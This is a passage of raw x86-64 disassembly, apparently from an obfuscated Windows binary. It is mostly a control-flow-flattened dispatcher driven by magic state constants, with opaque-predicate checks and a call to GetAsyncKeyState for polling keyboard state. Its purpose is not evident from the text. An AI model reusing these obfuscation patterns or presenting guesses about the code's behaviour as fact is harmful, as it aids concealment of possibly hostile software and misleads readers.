mov dword [rbp + 0x1c0], eax
mov eax, 0xa7618fd7
mov edx, 0x5b5ef33a
cmovne eax, edx
mov dword [rbp + 0x170], eax
mov eax, 0x2aaeecf6
mov edx, 0x760f2b06
cmovne eax, edx
mov dword [rbp + 0x208], eax
mov eax, 0x2aaeecf6
mov edx, 0xb90af727
cmovne eax, edx
mov dword [rbp + 0x20c], eax
mov eax, 0x62e019f4
mov edx, 0x6c2646b5
cmovne eax, edx
mov dword [rbp + 0x210], eax
mov eax, 0x62e019f4
mov edx, 0x428e74fb
cmovne eax, edx
mov dword [rbp + 0x158], eax
mov eax, 0xb41cf92d
mov edx, 0x757f22ee
cmovne eax, edx
mov dword [rbp + 0x214], eax
mov eax, 0xb41cf92d
mov edx, 0xa590ee0c
cmovne eax, edx
mov dword [rbp + 0x218], eax
mov eax, 0x21a1fcb2
mov edx, 0x7e344b5e
cmovne eax, edx
mov dword [rbp + 0x21c], eax
mov eax, 0x21a1fcb2
mov edx, 0xad3aed4c
cmovne eax, edx
mov dword [rbp + 0x264], eax
mov eax, 0x7b9405a6
mov edx, 0xb8ba2ea1
cmovne eax, edx
mov ebx, 0x7b9405a6
mov edx, 0x3769d389
cmovne ebx, edx
mov dword [rbp + 0x160], ebx
mov ebx, 0x5dafc2d
mov edx, 0xb3c01a6d
cmovne ebx, edx
mov dword [rbp + 0x168], ebx
mov ebx, 0x5dafc2d
mov edx, 0x899d82c4
cmovne ebx, edx
mov dword [rbp + 0x220], ebx
mov ebx, 0xa4414229
mov edx, 0x10405e5c
cmovne ebx, edx
mov dword [rbp + 0x224], ebx
mov ebx, 0xa4414229
mov edx, 0xdd8786a
cmovne ebx, edx
mov dword [rbp + 0x268], ebx
mov ebx, 0x27337b00
mov edx, 0x6626dad9
cmovne ebx, edx
mov dword [rbp + 0x228], ebx
mov ebx, 0x27337b00
mov edx, 0xed83767d
cmovne ebx, edx
mov dword [rbp + 0x22c], ebx
mov ebx, 0x2bc88f4a
mov edx, 0x1c4362fd
cmovne ebx, edx
mov dword [rbp + 0x230], ebx
mov ebx, 0x2bc88f4a
mov edx, 0xd5a68c66
cmovne ebx, edx
mov dword [rbp + 0x234], ebx
mov ebx, 0x9725ec49
mov edx, 0x62b68f3d
cmovne ebx, edx
mov dword [rbp + 0x238], ebx
mov ebx, 0x9725ec49
mov edx, 0x72086caf
cmovne ebx, edx
mov dword [rbp + 0x23c], ebx
mov ebx, 0x4b66138b
mov edx, 0x44091724
cmovne ebx, edx
mov dword [rbp + 0x240], ebx
mov ebx, 0x4b66138b
mov edx, 0xc2d9f29d
cmovne ebx, edx
mov dword [rbp + 0x244], ebx
mov ebx, 0x9375baaa
mov edx, 0xbac801d8
cmovne ebx, edx
mov dword [rbp + 0x248], ebx
mov ebx, 0x9375baaa
mov edx, 0x1e360b3e
cmovne ebx, edx
mov dword [rbp + 0x26c], ebx
mov ebx, 0x5b7b3aa7
mov edx, 0xac7f4103
cmovne ebx, edx
mov dword [rbp + 0x24c], ebx
mov ebx, 0x5b7b3aa7
mov edx, 0xa43574d7
cmovne ebx, edx
mov dword [rbp + 0x1cc], ebx
mov ebx, 0x175c1eb0
mov edx, 0x69049abf
cmovne ebx, edx
mov dword [rbp + 0x1d0], ebx
mov ebx, 0x175c1eb0
mov edx, 0x6cb905f8
cmovne ebx, edx
mov dword [rbp + 0x270], ebx
mov ebx, 0xf0ef6445
mov edx, 0x7b991837
cmovne ebx, edx
mov dword [rbp + 0x1d4], ebx
mov ebx, 0xf0ef6445
mov edx, 0xd5c03f2c
cmovne ebx, edx
mov dword [rbp + 0x1d8], ebx
mov ebx, 0xefdfc0ad
mov edx, 0xf513da8a
cmovne ebx, edx
mov dword [rbp + 0x1dc], ebx
mov ebx, 0xefdfc0ad
mov edx, 0x706001e2
cmovne ebx, edx
mov dword [rbp + 0x274], ebx
mov dword [rbp + 0x258], edx
mov dword [rbp + 0x2d4], edx
mov edi, 0x6d3ba0ad
jmp 0x1404b7470
mov edi, r15d
cmp r15d, 0x8337efc6
jne 0x1404b7470
xor r9d, r9d
mov edi, 0x8493d803
nop dword [rax + rax]
mov r15d, edi
cmp edi, 0x175c1eaf
jg 0x1404b74e0
cmp r15d, 0xc2777480
jle 0x1404b7550
cmp r15d, 0xecad30c9
jle 0x1404b7613
cmp r15d, 0xf9c25104
jg 0x1404b7762
cmp r15d, 0xf0ef6444
jg 0x1404b79bd
cmp r15d, 0xefdfc0ac
jg 0x1404b7d8a
cmp r15d, 0xecad30ca
je 0x1404b82d8
mov edi, r15d
cmp r15d, 0xed83767d
jne 0x1404b7470
mov edi, dword [rbp + 0x228]
jmp 0x1404b7470
cmp r15d, 0x4b66138a
jle 0x1404b75b0
cmp r15d, 0x693a83db
jle 0x1404b766f
cmp r15d, 0x72c47359
jg 0x1404b77aa
cmp r15d, 0x6d3ba0ac
jg 0x1404b79f1
cmp r15d, 0x6c2646b4
jg 0x1404b7dc7
cmp r15d, 0x693a83dc
je 0x1404b82f0
mov edi, r15d
cmp r15d, 0x69ea72c9
jne 0x1404b7470
mov edi, dword [rbp + 0x244]
jmp 0x1404b7470
cmp r15d, 0xa7618fd6
jg 0x1404b76be
cmp r15d, 0x9375baa9
jle 0x1404b77eb
cmp r15d, 0xa43574d6
jg 0x1404b7a26
cmp r15d, 0x9eadecf1
jg 0x1404b7e02
cmp r15d, 0x9375baaa
je 0x1404b8309
mov edi, r15d
cmp r15d, 0x9725ec49
jne 0x1404b7470
mov edi, 0x72086caf
jmp 0x1404b7470
cmp r15d, 0x3769d388
jg 0x1404b770c
cmp r15d, 0x22a40a6d
jle 0x1404b7840
cmp r15d, 0x2bc88f49
jg 0x1404b7a61
cmp r15d, 0x27337aff
jg 0x1404b7e33
cmp r15d, 0x22a40a6e
je 0x1404b8313
mov edi, r15d
cmp r15d, 0x24fba9d4
jne 0x1404b7470
movzx r14d, byte [rbp + 0x307]
mov edi, 0x4d1a5db3
jmp 0x1404b7470
cmp r15d, 0xd05afbbb
jle 0x1404b7888
cmp r15d, 0xe40cf045
jg 0x1404b7ab5
cmp r15d, 0xd5a68c65
jg 0x1404b7e5a
cmp r15d, 0xd05afbbc
je 0x1404b8327
mov edi, r15d
cmp r15d, 0xd4be71bf
jne 0x1404b7470
cmp dword [rbp + 0x284], 0xe
setb byte [rbp + 0x2b4]
mov edi, 0x693a83dc
jmp 0x1404b7470
cmp r15d, 0x5b7b3aa6
jle 0x1404b78de
cmp r15d, 0x6308a265
jg 0x1404b7af3
cmp r15d, 0x62b68f3c
jg 0x1404b7e82
cmp r15d, 0x5b7b3aa7
je 0x1404b833e
mov edi, r15d
cmp r15d, 0x601fae0d
jne 0x1404b7470
mov edi, dword [rbp + 0x1cc]
jmp 0x1404b7470
cmp r15d, 0xb3c01a6c
jle 0x1404b7922
cmp r15d, 0xb8ba2ea0
jg 0x1404b7b58
cmp r15d, 0xb6a93c88
jg 0x1404b7ea9
cmp r15d, 0xb3c01a6d
je 0x1404b8348
mov edi, r15d
cmp r15d, 0xb41cf92d
jne 0x1404b7470
mov edi, 0xa590ee0c
jmp 0x1404b7470
cmp r15d, 0x42b6cc24
jle 0x1404b796a
cmp r15d, 0x44da55f6
jg 0x1404b7b8d
cmp r15d, 0x43b6e6d6
jg 0x1404b7ee4
cmp r15d, 0x42b6cc25
je 0x1404b835a
mov edi, r15d
cmp r15d, 0x42c21285
jne 0x1404b7470
movzx r11d, byte [rbp + 0x30b]
mov edi, 0x4e424fbd
jmp 0x1404b7470
cmp r15d, 0x3c98721
jg 0x1404b7bc2
cmp r15d, 0xfd02ef6c
jg 0x1404b7f0b
mov edi, dword [rbp + 0x268]
cmp r15d, 0xf9c25105
je 0x1404b7470
mov edi, r15d
cmp r15d, 0xfb6d4f9b
jne 0x1404b7470
mov edi, dword [rbp + 0x218]
jmp 0x1404b7470
cmp r15d, 0x7b9405a5
jg 0x1404b7bf6
cmp r15d, 0x760f2b05
jg 0x1404b7f3f
cmp r15d, 0x72c4735a
je 0x1404b836c
mov edi, r15d
cmp r15d, 0x757f22ee
jne 0x1404b7470
mov edi, 0xcad181a6
jmp 0x1404b7470
cmp r15d, 0x87060d81
jle 0x1404b7c39
cmp r15d, 0x899d82c3
jg 0x1404b7f6e
mov edi, dword [rbp + 0x158]
cmp r15d, 0x87060d82
je 0x1404b7470
mov edi, r15d
cmp r15d, 0x888228df
jne 0x1404b7470
mov edx, dword [rbp + 0x328]
cmp edx, 9
mov edi, 0x81a9b203
mov edx, 0x87060d82
jmp 0x1404b7aaa
cmp r15d, 0x1ec422a5
jle 0x1404b7c6a
cmp r15d, 0x21189a92
jg 0x1404b7fa8
mov edi, dword [rbp + 0x270]
cmp r15d, 0x1ec422a6
je 0x1404b7470
mov edi, r15d
cmp r15d, 0x1f770623
jne 0x1404b7470
mov edi, dword [rbp + 0x170]
jmp 0x1404b7470
cmp r15d, 0xc88e996c
jle 0x1404b7ca9
cmp r15d, 0xcb2fca1c
jg 0x1404b7fcf
mov edi, dword [rbp + 0x264]
cmp r15d, 0xc88e996d
je 0x1404b7470
mov edi, r15d
cmp r15d, 0xcad181a6
jne 0x1404b7470
cmp byte [rbp + 0x300], 0
mov edi, 0xac3923cc
mov edx, 0x7dae0212
cmovne edi, edx
jmp 0x1404b7470
cmp r15d, 0x4e424fbc
jle 0x1404b7cdd
cmp r15d, 0x59dc647b
jg 0x1404b7ffd
cmp r15d, 0x4e424fbd
je 0x1404b8385
mov edi, r15d
cmp r15d, 0x54ab22e7
jne 0x1404b7470
mov edi, 0x8493d803
xor r9d, r9d
jmp 0x1404b7470
cmp r15d, 0xad30486b
jle 0x1404b7d14
cmp r15d, 0xafc54823
jg 0x1404b8040
mov edi, dword [rbp + 0x274]
cmp r15d, 0xad30486c
je 0x1404b7470
mov edi, r15d
cmp r15d, 0xad3aed4c
jne 0x1404b7470
mov edi, dword [rbp + 0x21c]
jmp 0x1404b7470
cmp r15d, 0x3e2628b3
jle 0x1404b7d48
cmp r15d, 0x3ff2fb67
jg 0x1404b8073
cmp r15d, 0x3e2628b4
je 0x1404b8392
mov edi, r15d
cmp r15d, 0x3e87c708
jne 0x1404b7470
cmp byte [rbp + 0x198], 0
mov edi, 0x81a9b203
mov edx, 0xf8459fe6
cmovne edi, edx
xor r8d, r8d
jmp 0x1404b7470
cmp r15d, 0xf567301d
jg 0x1404b80a5
cmp r15d, 0xf0ef6445
je 0x1404b83b0
mov edi, r15d
cmp r15d, 0xf513da8a
jne 0x1404b7470
mov edi, 0x6d41f05a
jmp 0x1404b7470
cmp r15d, 0x706001e1
jg 0x1404b80d8
cmp r15d, 0x6d3ba0ad
je 0x1404b83ba
mov edi, r15d
cmp r15d, 0x6d41f05a
jne 0x1404b7470
mov edi, dword [rbp + 0x1d8]
jmp 0x1404b7470
cmp r15d, 0xa4d2f320
jg 0x1404b8100
cmp r15d, 0xa43574d7
je 0x1404b83c4
mov edi, r15d
cmp r15d, 0xa4414229
jne 0x1404b7470
movzx edx, byte [rbp + 0x2c8]
mov edi, 0xdd8786a
jmp 0x1404b7470
cmp r15d, 0x31795aeb
jg 0x1404b8132
cmp r15d, 0x2bc88f4a
je 0x1404b83da
mov edi, r15d
cmp r15d, 0x2f3af363
jne 0x1404b7470
cmp r12b, 0x69
mov edx, dword [rbp + 0x338]
mov edi, 0x81a9b203
mov ebx, 0x3ff2fb68
cmovae edi, ebx
cmp edx, 0x32
mov edx, 0x81a9b203
cmovl edi, edx
xor r8d, r8d
jmp 0x1404b7470
cmp r15d, 0xe85931d1
jg 0x1404b8169
cmp r15d, 0xe40cf046
je 0x1404b7460
mov edi, r15d
cmp r15d, 0xe5411852
jne 0x1404b7470
cmp cl, 0x78
setae byte [rbp + 0x30e]
mov edi, 0x72c4735a
jmp 0x1404b7470
cmp r15d, 0x6626dad8
jg 0x1404b819b
cmp r15d, 0x6308a266
je 0x1404b83f2
mov edi, r15d
cmp r15d, 0x643b7ba4
jne 0x1404b7470
cmp r10b, 0x3d
mov edi, 0x366040e6
mov edx, 0x397e3a88
cmovae edi, edx
movzx edx, byte [rbp + 0x31c]
cmp byte [rbp + 0x335], 0
mov ebx, 0x366040e6
cmove edi, ebx
test dl, dl
cmove edi, ebx
mov dword [rbp + 0x2d4], 0
jmp 0x1404b7470
cmp r15d, 0xbac801d7
jg 0x1404b81d4
cmp r15d, 0xb8ba2ea1
je 0x1404b7460
mov edi, r15d
cmp r15d, 0xb90af727
jne 0x1404b7470
mov edi, dword [rbp + 0x208]
jmp 0x1404b7470
cmp r15d, 0x4762cff3
jg 0x1404b8207
cmp r15d, 0x44da55f7
je 0x1404b8403
mov edi, r15d
cmp r15d, 0x45ba25aa
jne 0x1404b7470
mov edi, dword [rbp + 0x234]
jmp 0x1404b7470
cmp r15d, 0xdd87869
jg 0x1404b8240
cmp r15d, 0x3c98722
je 0x1404b841d
mov edi, r15d
cmp r15d, 0x5dafc2d
jne 0x1404b7470
mov edi, 0x899d82c4
jmp 0x1404b7470
cmp r15d, 0x7dae0211
jg 0x1404b8280
cmp r15d, 0x7b9405a6
je 0x1404b8435
mov edi, r15d
cmp r15d, 0x7b991837
jne 0x1404b7470
cmp byte [rbp + 0x30f], 0
mov edi, 0xe5411852
mov edx, 0x54ab22e7
cmovne edi, edx
jmp 0x1404b7470
cmp r15d, 0x8493d802
jg 0x1404b82b6
cmp r15d, 0x81a9b203
jne 0x1404b7454
mov edx, r8d
and dl, 1
mov byte [rbp + 0x288], dl
mov edi, dword [rbp + 0x20c]
jmp 0x1404b7470
cmp r15d, 0x175c1eb0
je 0x1404b843f
cmp r15d, 0x1c4362fd
je 0x1404b8450
mov edi, r15d
cmp r15d, 0x1e360b3e
jne 0x1404b7470
cmp esi, 0x32
setge byte [rbp + 0x309]
mov edi, dword [rbp + 0x248]
jmp 0x1404b7470
cmp r15d, 0xc2777481
je 0x1404b8469
cmp r15d, 0xc2d9f29d
je 0x1404b8480
mov edi, r15d
cmp r15d, 0xc4f33240
jne 0x1404b7470
mov edi, 0xad30486c
jmp 0x1404b7470
cmp r15d, 0x4b66138b
je 0x1404b8492
cmp r15d, 0x4c2d4eeb
je 0x1404b849c
mov edi, r15d
cmp r15d, 0x4d1a5db3
jne 0x1404b7470
mov r9d, r14d
mov edi, 0x8493d803
jmp 0x1404b7470
cmp r15d, 0xa7618fd7
je 0x1404b84b0
cmp r15d, 0xac3923cc
je 0x1404b84c0
mov edi, r15d
cmp r15d, 0xac7f4103
jne 0x1404b7470
mov edi, 0x42c21285
jmp 0x1404b7470
mov edi, eax
cmp r15d, 0x3769d389
je 0x1404b7470
cmp r15d, 0x397e3a88
je 0x1404b84d6
mov edi, r15d
cmp r15d, 0x3bb14057
jne 0x1404b7470
cmp byte [rbp + 0x188], 0
mov edi, 0x43b6e6d7
mov edx, 0x48cd5352
jmp 0x1404b85fa
cmp r15d, 0xefdfc0ad
je 0x1404b84eb
mov edi, r15d
cmp r15d, 0xf014037b
jne 0x1404b7470
cmp r12b, 0xdd
setae byte [rbp + 0x337]
cmp r12b, 0xff
setne byte [rbp + 0x336]
mov edi, 0x45ba25aa
jmp 0x1404b7470
cmp r15d, 0x6c2646b5
je 0x1404b84f5
mov edi, r15d
cmp r15d, 0x6cb905f8
jne 0x1404b7470
cmp r12b, 0x69
setae dl
and dl, byte [rbp + 0x31f]
mov byte [rbp + 0x30c], dl
mov edi, dword [rbp + 0x1d0]
jmp 0x1404b7470
cmp r15d, 0x9eadecf2
je 0x1404b84ff
mov edi, r15d
cmp r15d, 0x9f9809af
jne 0x1404b7470
cmp esi, 0x5a
setge byte [rbp + 0x188]
mov edi, 0x3bb14057
jmp 0x1404b7470
cmp r15d, 0x27337b00
je 0x1404b8512
mov edi, r15d
cmp r15d, 0x2aaeecf6
jne 0x1404b7470
mov edi, 0xb90af727
jmp 0x1404b7470
cmp r15d, 0xd5a68c66
je 0x1404b851c
mov edi, r15d
cmp r15d, 0xd5c03f2c
jne 0x1404b7470
mov edi, dword [rbp + 0x1d4]
jmp 0x1404b7470
cmp r15d, 0x62b68f3d
je 0x1404b853d
mov edi, r15d
cmp r15d, 0x62e019f4
jne 0x1404b7470
mov edi, 0x428e74fb
jmp 0x1404b7470
cmp r15d, 0xb6a93c89
je 0x1404b8556
mov edi, r15d
cmp r15d, 0xb88cb19e
jne 0x1404b7470
mov edx, dword [rbp + 0x320]
cmp edx, 0xe
mov edi, 0x43b6e6d7
mov edx, 0x9f9809af
cmovl edi, edx
xor r13d, r13d
jmp 0x1404b7470
cmp r15d, 0x43b6e6d7
je 0x1404b856a
mov edi, r15d
cmp r15d, 0x44091724
jne 0x1404b7470
mov edi, 0xcfb2ecd9
jmp 0x1404b7470
cmp r15d, 0xfd02ef6d
je 0x1404b8577
mov edi, r15d
cmp r15d, 0x3aa1fdb
jne 0x1404b7470
mov rdx, qword [rbp + 0x1a0]
mov dword [rbp + 0x310], edx
mov edi, 0xafc54824
jmp 0x1404b7470
cmp r15d, 0x760f2b06
je 0x1404b8593
mov edi, r15d
cmp r15d, 0x7acd106d
jne 0x1404b7470
movzx r13d, byte [rbp + 0x180]
mov edi, 0x43b6e6d7
jmp 0x1404b7470
mov edi, dword [rbp + 0x168]
cmp r15d, 0x899d82c4
je 0x1404b7470
mov edi, r15d
cmp r15d, 0x8a437dfe
jne 0x1404b7470
movzx edx, byte [rbp + 0x2c4]
mov dword [rbp + 0x258], edx
mov edi, 0x44da55f7
jmp 0x1404b7470
cmp r15d, 0x21189a93
je 0x1404b85a5
mov edi, r15d
cmp r15d, 0x21a1fcb2
jne 0x1404b7470
mov edi, 0xad3aed4c
jmp 0x1404b7470
mov edi, dword [rbp + 0x160]
cmp r15d, 0xcb2fca1d
je 0x1404b7470
mov edi, r15d
cmp r15d, 0xcfb2ecd9
jne 0x1404b7470
mov edi, dword [rbp + 0x23c]
jmp 0x1404b7470
cmp r15d, 0x59dc647c
je 0x1404b7460
mov edi, r15d
cmp r15d, 0x5b5ef33a
jne 0x1404b7470
cmp r12b, 0x6e
setae dl
mov edi, dword [rbp + 0x2d8]
cmp edi, 0x3c
setge bl
and bl, dl
mov byte [rbp + 0x150], bl
mov edi, dword [rbp + 0x1c0]
jmp 0x1404b7470
cmp r15d, 0xafc54824
je 0x1404b85b6
mov edi, r15d
cmp r15d, 0xb3098562
jne 0x1404b7470
cmp byte [rbp + 0x30d], 0
mov edi, 0x4e424fbd
mov edx, 0x3c98722
jmp 0x1404b81c9
cmp r15d, 0x3ff2fb68
je 0x1404b85d4
mov edi, r15d
cmp r15d, 0x428e74fb
jne 0x1404b7470
cmp esi, 0x5a
setge byte [rbp + 0x198]
mov edi, dword [rbp + 0x210]
jmp 0x1404b7470
cmp r15d, 0xf567301e
je 0x1404b85e9
mov edi, r15d
cmp r15d, 0xf8459fe6
jne 0x1404b7470
mov edx, dword [rbp + 0x290]
mov dword [rbp + 0x338], edx
mov edi, 0x2f3af363
jmp 0x1404b7470
cmp r15d, 0x706001e2
je 0x1404b8605
mov edi, r15d
cmp r15d, 0x72086caf
jne 0x1404b7470
mov edi, dword [rbp + 0x238]
jmp 0x1404b7470
cmp r15d, 0xa4d2f321
je 0x1404b861a
mov edi, r15d
cmp r15d, 0xa590ee0c
jne 0x1404b7470
cmp cl, 0x78
setae byte [rbp + 0x300]
mov edi, dword [rbp + 0x214]
jmp 0x1404b7470
cmp r15d, 0x31795aec
je 0x1404b8633
mov edi, r15d
cmp r15d, 0x366040e6
jne 0x1404b7470
mov edx, dword [rbp + 0x2d4]
and dl, 1
mov byte [rbp + 0x178], dl
mov edi, dword [rbp + 0x22c]
jmp 0x1404b7470
cmp r15d, 0xe85931d2
je 0x1404b864c
mov edi, r15d
cmp r15d, 0xebd7ab61
jne 0x1404b7470
cmp r10b, 0x4f
setb byte [rbp + 0x2c4]
mov edi, 0x8a437dfe
jmp 0x1404b7470
cmp r15d, 0x6626dad9
je 0x1404b8661
mov edi, r15d
cmp r15d, 0x69049abf
jne 0x1404b7470
cmp byte [rbp + 0x30c], 0
mov edi, 0x4e424fbd
mov edx, 0x601fae0d
cmovne edi, edx
xor r11d, r11d
jmp 0x1404b7470
cmp r15d, 0xbac801d8
je 0x1404b8673
mov edi, r15d
cmp r15d, 0xc183b76b
jne 0x1404b7470
cmp byte [rbp + 0x30a], 0
mov edi, 0x4d1a5db3
mov edx, 0x4762cff4
jmp 0x1404b8588
mov edi, dword [rbp + 0x26c]
cmp r15d, 0x4762cff4
je 0x1404b7470
mov edi, r15d
cmp r15d, 0x48cd5352
jne 0x1404b7470
mov edx, dword [rbp + 0x290]
mov dword [rbp + 0x2d8], edx
mov edi, 0x1f770623
jmp 0x1404b7470
cmp r15d, 0xdd8786a
je 0x1404b867d
mov edi, r15d
cmp r15d, 0x10405e5c
jne 0x1404b7470
cmp byte [rbp + 0x278], 0
mov edi, 0x44da55f7
mov edx, 0xebd7ab61
cmovne edi, edx
mov dword [rbp + 0x258], 0
jmp 0x1404b7470
cmp r15d, 0x7dae0212
je 0x1404b86a3
mov edi, r15d
cmp r15d, 0x7e344b5e
jne 0x1404b7470
cmp byte [rbp + 0x2c0], 0
mov edi, 0x8337efc6
mov edx, 0x22a40a6e
cmovne edi, edx
jmp 0x1404b7470
cmp r15d, 0x86dfa822
jne 0x1404b86b9
cmp r10b, 0x64
setae byte [rbp + 0x180]
mov edi, 0x7acd106d
jmp 0x1404b7470
cmp dword [rbp + 0x1b8], 0xe
setl byte [rbp + 0x30a]
mov edi, 0xc183b76b
jmp 0x1404b7470
cmp byte [rbp + 0x2b4], 0
mov edi, 0xcb2fca1d
mov edx, 0xb6a93c89
cmovne edi, edx
jmp 0x1404b7470
mov edi, 0x1e360b3e
jmp 0x1404b7470
cmp cl, 0xbe
setae byte [rbp + 0x2fc]
mov edi, 0xa4d2f321
jmp 0x1404b7470
movzx edx, byte [rbp + 0x334]
mov dword [rbp + 0x2d4], edx
mov edi, 0x366040e6
jmp 0x1404b7470
mov edi, 0xa43574d7
jmp 0x1404b7470
movzx r9d, byte [rbp + 0x2b8]
mov edi, 0x8493d803
jmp 0x1404b7470
movzx r8d, byte [rbp + 0x190]
mov edi, 0x81a9b203
jmp 0x1404b7470
cmp byte [rbp + 0x30e], 0
mov edi, 0xecad30ca
mov edx, 0x3aa1fdb
cmovne edi, edx
jmp 0x1404b7470
mov r9d, r11d
mov edi, 0x8493d803
jmp 0x1404b7470
cmp cl, 0x3d
setae byte [rbp + 0x31c]
cmp cl, 0x5a
setb byte [rbp + 0x335]
mov edi, 0x643b7ba4
jmp 0x1404b7470
mov edi, 0xd5c03f2c
jmp 0x1404b7470
mov edi, 0xc4f33240
jmp 0x1404b7470
cmp r10b, 0x69
setae byte [rbp + 0x30b]
mov edi, dword [rbp + 0x24c]
jmp 0x1404b7470
movzx edx, byte [rbp + 0x337]
movzx edx, byte [rbp + 0x336]
mov edi, 0xd5a68c66
jmp 0x1404b7470
mov byte [rbp + 0x2c0], 0
mov edi, 0xc88e996d
jmp 0x1404b7470
mov edx, dword [rbp + 0x258]
and dl, 1
mov byte [rbp + 0x2b8], dl
mov edi, dword [rbp + 0x220]
jmp 0x1404b7470
cmp dword [rbp + 0x290], 0x32
setge byte [rbp + 0x31f]
mov edi, 0x1ec422a6
jmp 0x1404b7470
mov edi, 0x3769d389
jmp 0x1404b7470
movzx edx, byte [rbp + 0x31f]
mov edi, 0x6cb905f8
jmp 0x1404b7470
cmp byte [rbp + 0x31e], 0
mov edi, 0xe40cf046
mov edx, 0x3e2628b4
cmovne edi, edx
jmp 0x1404b7470
movzx edx, byte [rbp + 0x1b0]
mov byte [rbp + 0x308], dl
mov edi, 0xfd02ef6d
jmp 0x1404b7470
mov byte [rbp + 0x31d], 0
mov edi, dword [rbp + 0x240]
jmp 0x1404b7470
mov edi, 0xc2d9f29d
jmp 0x1404b7470
cmp esi, 0x3c
setge byte [rbp + 0x30d]
mov edi, 0xb3098562
jmp 0x1404b7470
mov edx, dword [rbp + 0x2d8]
mov edi, 0x5b5ef33a
jmp 0x1404b7470
mov edx, dword [rbp + 0x1a8]
mov dword [rbp + 0x320], edx
mov edi, 0xb88cb19e
jmp 0x1404b7470
cmp r10b, 0x5a
setb byte [rbp + 0x334]
mov edi, 0xd05afbbc
jmp 0x1404b7470
mov edi, 0x706001e2
jmp 0x1404b7470
mov edi, 0x3e87c708
jmp 0x1404b7470
cmp byte [rbp + 0x309], 0
mov edi, 0x4d1a5db3
mov edx, 0xc2777481
jmp 0x1404b8588
mov edi, 0xed83767d
jmp 0x1404b7470
movzx edx, byte [rbp + 0x337]
and dl, byte [rbp + 0x336]
and dl, 1
mov byte [rbp + 0x31e], dl
mov edi, dword [rbp + 0x230]
jmp 0x1404b7470
cmp byte [rbp + 0x31d], 0
mov edi, 0x21189a93
mov edx, 0xf014037b
cmovne edi, edx
jmp 0x1404b7470
cmp cl, 0xf1
setae byte [rbp + 0x2c8]
mov edi, 0xf9c25105
jmp 0x1404b7470
mov r9d, r13d
mov edi, 0x8493d803
jmp 0x1404b7470
cmp byte [rbp + 0x308], 0
mov edi, 0x4d1a5db3
mov edx, 0xe85931d2
cmovne edi, edx
xor r14d, r14d
jmp 0x1404b7470
movzx r9d, byte [rbp + 0x288]
mov edi, 0x8493d803
jmp 0x1404b7470
mov byte [rbp + 0x260], 0
mov edi, 0x31795aec
jmp 0x1404b7470
mov edx, dword [rbp + 0x310]
cmp edx, 9
mov edi, 0x4e424fbd
mov edx, 0x4c2d4eeb
cmovl edi, edx
xor r11d, r11d
jmp 0x1404b7470
cmp r10b, 0x69
setae byte [rbp + 0x190]
mov edi, 0x42b6cc25
jmp 0x1404b7470
cmp byte [rbp + 0x150], 0
mov edi, 0x43b6e6d7
mov edx, 0x86dfa822
cmovne edi, edx
xor r13d, r13d
jmp 0x1404b7470
cmp cl, 0xbe
setae byte [rbp + 0x30f]
mov edi, dword [rbp + 0x1dc]
jmp 0x1404b7470
cmp byte [rbp + 0x2fc], 0
mov edi, 0xfb6d4f9b
mov edx, 0x59dc647c
cmovne edi, edx
jmp 0x1404b7470
cmp byte [rbp + 0x260], 0
mov edi, 0x6308a266
mov edx, 0xd4be71bf
cmovne edi, edx
jmp 0x1404b7470
cmp r10b, 0x64
setae byte [rbp + 0x307]
mov edi, 0x24fba9d4
jmp 0x1404b7470
movzx r9d, byte [rbp + 0x178]
mov edi, 0x8493d803
jmp 0x1404b7470
mov edi, 0x9eadecf2
jmp 0x1404b7470
cmp r10b, 0x3d
setae dl
cmp cl, 0xff
setne bl
and bl, byte [rbp + 0x2c8]
and bl, dl
mov byte [rbp + 0x278], bl
mov edi, dword [rbp + 0x224]
jmp 0x1404b7470
mov edx, dword [rbp + 0x280]
mov dword [rbp + 0x328], edx
mov edi, 0x888228df
jmp 0x1404b7470
mov edi, r15d
cmp r15d, 0x8493d803
jne 0x1404b7470
test r9b, 1
mov eax, 0x2e1366ef
mov ecx, 0xe98cc477
cmovne eax, ecx
mov r15d, 0xe6af3b71
mov r12d, 0x75a3b107
mov r13d, 0x85dafd84
mov r10d, 0xee54680f
jmp 0x1404b9d26
mov dword [0x140ae7d78], 6
mov eax, 0x34465777
jmp 0x1404ac53d
mov rax, qword [rbp + 0x130]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
mov eax, 0x922a7cd1
jmp 0x1404ac53d
mov eax, 0x161c794a
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd2ae0fb3
mov ecx, 0x13db1f65
jmp 0x1404ac530
sub rsp, 0x20
lea rcx, [0x140ae75f8]
call fcn.1404aae60
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, 0x59300a67
jmp 0x1404b9d26
test byte [rbp + 0x2ac], 1
mov eax, 0x3062ade2
mov ecx, 0x93a2c48a
cmove eax, ecx
jmp 0x1404ac53d
mov eax, dword [rbp + 0x204]
cmp eax, 5
mov eax, 0x3afe76fe
mov ecx, 0xfb49f083
cmove eax, ecx
jmp 0x1404ac53d
mov ecx, dword [0x140ae7d78]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
add rsp, 0x20
mov eax, 0x15a20b9e
mov r10d, 0xee54680f
jmp 0x1404ac53d
mov rax, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x108]
sub rsp, 0x20
lea rdx, [0x140ae7a30]
lea r8, [0x140ae7a28]
call fcn.14048f270
add rsp, 0x20
mov rax, qword [rbp + 0xd8]
mov rdx, qword [rbp + 0x108]
mov ecx, 0xce707985
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xce707985
je 0x1404b8825
cmp ecx, 0x75c2ba99
jne 0x1404b8810
jmp 0x1404b9dc1
mov ecx, 0x75c2ba99
jmp 0x1404b8810
mov eax, dword [rbp + 0xac]
mov dword [rbp + 0x1c8], eax
mov al, byte [rbp + 0x2ab]
mov byte [rbp + 0x29e], al
mov eax, dword [rbp + 0x1c8]
cmp eax, 0x14
mov eax, 0xb4403b7c
mov ecx, 0xdaa65111
cmovl eax, ecx
jmp 0x1404ac53d
mov al, byte [rbp + 0x2a7]
mov eax, 0xb108c749
jmp 0x1404ac53d
mov byte [0x140ae76d8], 1
mov eax, 0x859dc413
jmp 0x1404b9d26
mov eax, 0xebe7c94b
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb88d02f8
mov ecx, 0x2a0ce9d7
jmp 0x1404ac530
mov eax, dword [rbp + 0x11c]
mov dword [rbp + 0x9c], eax
mov eax, dword [rbp + 0xa4]
or eax, dword [rbp + 0x9c]
mov eax, 0x1d2853fc
mov ecx, 0x6712d84b
